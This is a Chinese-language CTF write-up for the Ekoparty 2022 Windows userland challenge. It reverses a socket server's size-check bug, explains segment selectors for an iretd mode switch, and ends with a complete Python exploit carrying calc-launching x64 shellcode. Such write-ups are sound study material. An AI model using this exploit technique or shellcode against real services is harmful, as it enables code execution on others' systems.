Windows userland PWN
在逛论坛时发现一个Linux kernel的pwn题目,同时还有一个Windows,本来以为也是内核态,下载后发现是用户态,研究一下
网址:BFS Ekoparty 2022 Exploitation Challenges 真好,还能直接发offer😭
eko 弹出计算机就算成功,不能使用额外的库。
winchecksec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 bfs-eko2022 ❯ winchecksec .\bfs-eko2022 .exe Warn: No load config in the PE Results for : .\bfs-eko2022 .exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "NotPresent" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "NotPresent" RFG : "NotPresent" SafeSEH : "NotApplicable" GS : "NotPresent" Authenticode : "NotPresent" .NET : "NotPresent"
x64dbg 插件:checksec: x64dbg plugin to check security settings ,可以看相关dll的保护。
没有GS保护?但是使用IDA打开
1 2 3 4 5 .text:0000000140001474 mov rcx, [rsp+0F 68h+var_18] .text:000000014000147 C xor rcx, rsp ; StackCookie .text:000000014000147F call __security_check_cookie .text:0000000140001484 add rsp, 0F 68h .text:000000014000148B retn
创建一个socket,接收消息: 0.0.0.0:31415
接收0x1000长度的消息,接收握手消息Hello
,发送 Hi
然后进入一个处理函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 int __fastcall sub_140001240 (SOCKET a1) { int result; int v2; unsigned int i; unsigned int len; unsigned int lena; CHAR CmdLine[3840 ]; char v7; char buf[11 ]; for ( i = 0 ; i < 0x1000 ; i += 16 ) { *(_QWORD *)&::buf[i] = 0x5050505050505050 i64; *(_QWORD *)&::buf[i + 8 ] = 0xCF58585858585858 ui64; } printf (" [+] Processing request\n" ); len = recv (a1, buf, 11 , 0 ); if ( len == -1 ) return printf (" [-] Client data error\n" ); if ( len < 0xB ui64 ) return printf (" [-] Bad size\n" ); if ( *(_QWORD *)buf != '2202okE' ) return printf (" [-] Wrong cookie value\n" ); v7 = buf[8 ]; if ( buf[8 ] != 'T' ) return printf (" [-] Invalid packet type\n" ); if ( *(__int16 *)&buf[9 ] > 0xF00 ) return printf (" [-] Invalid packet size\n" ); lena = recv (a1, ::buf, *(unsigned __int16 *)&buf[9 ], 0 ); printf (" [+] Data received: %i bytes\n" , lena); sub_1400011B0 (CmdLine, ::buf, lena); if ( v7 == 'T' ) { printf (" [+] Message received: %s\n" , CmdLine); send (a1, CmdLine, lena, 0 ); } else { printf (" [-] Unsupported message\n" ); v2 = strlen (Str); send (a1, aUnsupportedMes_1, v2 + 1 , 0 ); } result = v7; if ( v7 == 'X' ) { off_14000C000 = (__int64 (__fastcall *)(_QWORD))&::buf[lena]; return off_14000C000 (CmdLine); } return result; }
内存copy函数,某些字符在copy时会被替换为0。(看到后面发现这是一个提示?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall sub_7FF736B511B0 (_BYTE *a1, _BYTE *a2, unsigned int a3) { __int64 result; unsigned int i; for ( i = 0 ; ; ++i ) { result = a3; if ( i >= a3 ) break ; if ( *a2 == 0x2B || *a2 == 0x33 ) *a1 = 0 ; else *a1 = *a2; ++a2; ++a1; } return result; }
int16 -> unsigned int16 可以是负数转化后变为一个很大的数字,这样可以读的缓冲区就很大了。
可以修改 v7 为 X
,但是不能太长,因为存在GS保护。
最后执行这个函数
1 2 3 4 5 if ( v7 == 'X' ) { off_14000C000 = (__int64 (__fastcall *)(_QWORD))&::buf[lena]; return off_14000C000 (CmdLine); }
这个一个virtualAlloc的区域
1 2 3 4 5 6 7 8 buf = (char *)VirtualAlloc ((LPVOID)0x10000000 , 0x1000 ui64, 0x3000 u, 0x40 u); LPVOID VirtualAlloc ( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ) ;
最后一个属性:0x40代表 PAGE_EXECUTE_READWRITE 表明这片区域可执行。因此最后是跳转到我们输入的shellcode执行。
初始化的时候,写了数据,反编译后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 debug033:0000000010000000 push rax debug033:0000000010000001 push rax debug033:0000000010000002 push rax debug033:0000000010000003 push rax debug033:0000000010000004 push rax debug033:0000000010000005 push rax debug033:0000000010000006 push rax debug033:0000000010000007 push rax debug033:0000000010000008 pop rax debug033:0000000010000009 pop rax debug033:000000001000000 A pop rax debug033:000000001000000B pop rax debug033:000000001000000 C pop rax debug033:000000001000000 D pop rax debug033:000000001000000 E pop rax debug033:000000001000000F iret
无论如何最后还是得执行这一段代码中的某些部分
iret 的作用:IRET(interrupt return)中断返回,中断服务程序的最后一条指令。IRET指令将推入堆栈的段地址和偏移地址弹出,使程序返回到原来发生中断的地方。相当于POP RIP|CS|RFLAGS|SP|SS
这里主要是段寄存器的处理,因为与寻址有关。在 real mode 下 cs:ip = cs << 4 + ip
但是在保护模式下段寄存器依然是16位,但是意义大不一样。参考:段式管理的数据结构
GDTR保存GDT的相关信息,也就是GDT表的起始地址和大小
1 2 3 4 typedef struct { uint16_t limit; uint64_t base; } GDTR;
GDT表中的内容:段描述符,记录段的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct { uint16_t limit_low; uint16_t base_low; uint8_t base_mid; uint8_t type : 4 ; uint8_t s : 1 ; uint8_t dpl : 2 ; uint8_t p : 1 ; uint8_t limit_high : 4 ; uint8_t avl : 1 ; uint8_t l : 1 ; uint8_t db : 1 ; uint8_t g : 1 ; uint8_t base_high; } SegmentDescriptor; ------------------------------------------------------------------------------------------------------------- | Base 31 :24 | G | D/B | L | AVL | Limit 19 :16 | P | DPL | S | Type | Base 23 :16 | Base 15 :0 | Limit 15 :0 | -------------------------------------------------------------------------------------------------------------
段寄存器保存16位宽的段选择符segment selector
1 2 3 4 5 6 typedef struct { uint16_t rpl : 2 ; uint16_t ti : 1 ; uint16_t index: 13 ; } SegmentSelector;
cs,ss的值代表描述符在 LDT/GDT 中的偏移。
TI = 0 使用GDT
TI = 1 使用LDT
并且在 amd64 cpu下,段寄存器相对固定 - 0x00: 恒为0
内核模式 :
CS
寄存器的值为0x10
,对应于GDT中的KERNEL_CODE_SELECTOR
。
SS
为 0x18
用户模式 :
CS
寄存器的值为0x33
,对应于GDT中的USER_CODE_SELECTOR
,并设置RPL(请求特权级)为3。
SS
为 0x28
我们得到基址就可以获得 cs:ip 的值
使用IDA调试发生错误,使用WinDbgX调试
观察rsp
1 2 3 4 5 6 7 8 9 0 :000 > dq @rsp00000000 `012f e8d0 00000000 `00000000 00000000 `00000000 00000000 `012f e8e0 00000000 `00000000 00000000 `00000000 00000000 `012f e8f0 00000f 02`00001000 00000000 `00000000 00000000 `012f e900 61616161 `61616161 61616161 `61616161 00000000 `012f e910 61616161 `61616161 61616161 `61616161 00000000 `012f e920 61616161 `61616161 61616161 `61616161 00000000 `012f e930 61616161 `61616161 61616161 `61616161 00000000 `012f e940 61616161 `61616161 61616161 `61616161
因此我们先让此函数执行6次 pop rax
,在执行iretd
(WinDbgX显示) 从而控制ss等寄存器。
我们程序原本的ss
1 2 3 4 0 :000 > r ssss=002 b 0 :000 > r cscs=0033
这里就是比较难的点,需要我们知道 x86_64下,iretd 需要pop的是x86的cs和ss。也就是寻找一个 SegmentDescriptor.l = 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0 : kd> r gdtrgdtr=fffff8027bb59fb0 0 : kd> dg 0x23 P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- ----------------- ----------------- ---------- - -- -- -- -- -------- 0020 00000000 `00000000 00000000 `ffffffff Code RE Ac 3 Bg Pg P Nl 00000 cfb0 : kd> dq fffff8027bb59fb0+0x20 fffff802`7b b59fd0 00 cffb00`0000f fff 00 cff300`0000f fff 0 : kd> .formats 00 cffb00`0000f fffEvaluate expression: Hex: 00 cffb00`0000f fff Decimal: 58541297597743103 Decimal (unsigned ) : 58541297597743103 Octal: 0003177660000000177777 Binary: 00000000 11001111 11111011 00000000 00000000 00000000 11111111 11111111 Chars: ........ Time: Thu Jul 6 11 :09 :19.774 1786 (UTC + 8 :00 ) Float: low 9.18341e-041 high 1.91e-038 Double: 9.10834e-305
观察 l
位为0,代表为32位。同理找到 0x53
data segment
eflags可以直接调试得出,可以不改变
iretd 会转化一次架构位为x86架构,我们生成的shellcode为x64,再次转化架构也就是 jmp cs:ip
执行再次转化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import socketimport structdef p64 (v ): return struct.pack("<Q" , v) def p32 (v ): return struct.pack("<I" , v) def p16 (v ): return struct.pack("<H" , v) addr = "127.0.0.1" port = 31415 conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((addr, port)) if not conn: print ("[-] Error connect" ) exit(1 ) payload = b"Hello\x00" conn.send(payload) print (conn.recv(3 ))""" RIP|CS|RFLAGS|SP|SS """ ctx = p32(0x10000014 ) + p32(0x23 ) + p32(0x202 ) + p32(0x10000000 ) + p32(0x53 ) shellcode = b"" shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41" shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48" shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20" shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31" shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20" shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41" shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0" shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67" shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34" shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac" shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1" shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41" shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" shellcode += b"\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00" shellcode += b"\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00" shellcode += b"\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" shellcode += b"\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" shellcode += b"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" shellcode += b"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89" shellcode += b"\xda\xff\xd5\x63\x61\x6c\x63\x00" ''' >>> asm("JMP 0x33:0x1000001c")b'\xea\x1c\x00\x00\x103\x00' ''' jmp_shellcode = b'\xea\x1c\x00\x00\x103\x00' ''' >>> asm("mov rsp, rcx")b'H\x89\xcc' ''' origin_rsp = b'H\x89\xcc' padding = b"\x90" * 7 header = p64(0x323230326F6B45 ) header += b"T" header += p16(0x8000 ) data = ctx data += jmp_shellcode + origin_rsp data += shellcode data += b"\x90" * (0xF00 - len (data)) data += b"X" + padding conn.send(header + data)
第一次接触到段寄存器这种玩法,狠狠的学习了😤
参考